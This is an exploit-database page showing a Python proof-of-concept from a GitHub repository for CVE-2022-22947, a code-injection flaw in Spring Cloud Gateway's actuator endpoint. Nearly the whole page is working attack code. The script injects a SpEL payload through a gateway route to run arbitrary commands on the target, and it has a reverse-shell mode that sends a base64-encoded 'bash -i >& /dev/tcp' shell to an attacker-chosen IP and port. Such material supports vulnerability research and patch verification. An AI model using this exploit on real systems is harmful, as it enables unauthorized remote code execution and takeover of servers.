Exploit database

GH-3bae9fff51be4499d03bc5b6123a592f

qq87234770/cve-2022-22947

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22947

63 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
qq87234770/cve-2022-22947Revision f7f8409b99fb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-22947.py

Python · 4,732 bytes
# coding=UTF-8

import requests
import json
import sys
import re
import base64

session = requests.session()
session.keep_alive = False

# proxies = {
#     "http": "127.0.0.1:8080",
#     "https": "127.0.0.1:8080"
# }
proxies = None

req_headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like         Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json',
    'Content-Length': '411',
}


def check(url):
    if "http" not in url:
        url = "http://" + url
    if not url.endswith("/"):
        url = url + "/"
    return url


def parse_cmd(command):
    if " " in command:
        command = "\\\"" + "\\\",\\\"".join(command.split(" ")) + "\\\""
    else:
        command = "\\\"" + command + "\\\""
    return command


def get_shell(url, ip, port):
    tmp = "bash -i >& /dev/tcp/{ip}/{port} 0>&1".format(ip=ip, port=port)
    # print(tmp)
    enc = base64.b64encode(tmp.encode("utf-8")).decode()
    command = "bash -c {echo," + enc + "}|{base64,-d}|{bash,-i}"
    payload = getData(command)
    res1 = session.post(url=url + "actuator/gateway/routes/hacktest", json=payload, headers=req_headers,
                        proxies=proxies)
    if res1.status_code == 201:
        session.post(url=url + "actuator/gateway/refresh", proxies=proxies)
    else:
        print('error!')


def getData(command):
    payload = '{"id": "hacktest", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{' \
              'new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime(' \
              ').exec(new String[]{command}).getInputStream()))}"} }],"uri": "http://example.com"} '
    payload = payload.replace("command", parse_cmd(command))
    payload = json.loads(payload)
    return payload


def getRes(res):
    datap = re.compile(u'AddResponseHeader Result = \'(.+?)\']')
    datas = datap.findall(res.content.decode('utf-8', "ignore"))
    if len(datas):
        datas = datas[0].split("\\n")
        for data in datas:
            print(data)
    else:
        print("None")


def cmd(url, command):
    payload = getData(command)
    res1 = session.post(url=url + "actuator/gateway/routes/hacktest", json=payload, headers=req_headers,
                        proxies=proxies)
    if res1.status_code == 201:
        res2 = session.post(url=url + "actuator/gateway/refresh", proxies=proxies)
        if res2.status_code == 200:
            res3 = session.get(url=url + "actuator/gateway/routes/hacktest", proxies=proxies)
            getRes(res3)
    else:
        print('your command is error!')


def main():
    try:
        url = check(sys.argv[1])
    except:
        print("error! Please input your target!")
        exit(-1)
    print("method: 1.command   2.reverse")
    num = input("Please input your choice: ")
    if num == "1":
        command = input("Please input your command: ")
        status = True
        while (status):
            # clear
            res = session.delete(url=url + "actuator/gateway/routes/hacktest", proxies=proxies)
            if res.status_code == 200:
                session.post(url=url + "actuator/gateway/refresh", proxies=proxies)
            cmd(url, command)
            command = input("Please input your command: ")
            if not len(command):
                status = False
    elif num == "2":
        try:
            ip, port = input("Please input ip and port, separated by spaces: ").split(" ")
        except:
            print("error!")
            exit(0)
        get_shell(url, ip, port)
    else:
        print("error!")


if __name__ == '__main__':
    # 奇怪的2个payload,两者相差不过最后多了几个空格,但第一个却不能执行命令
    # payload = '{"id": "hacktest", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{' \
    #           'new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime(' \
    #           ').exec(new String[]{command}).getInputStream()))} "}}], "uri": "http://example.com"} '
    # payload = '{"id": "hacktest", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{' \
    #           'new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime(' \
    #           ').exec(new String[]{command}).getInputStream()))}"} }],"uri": "http://example.com"} '
    main()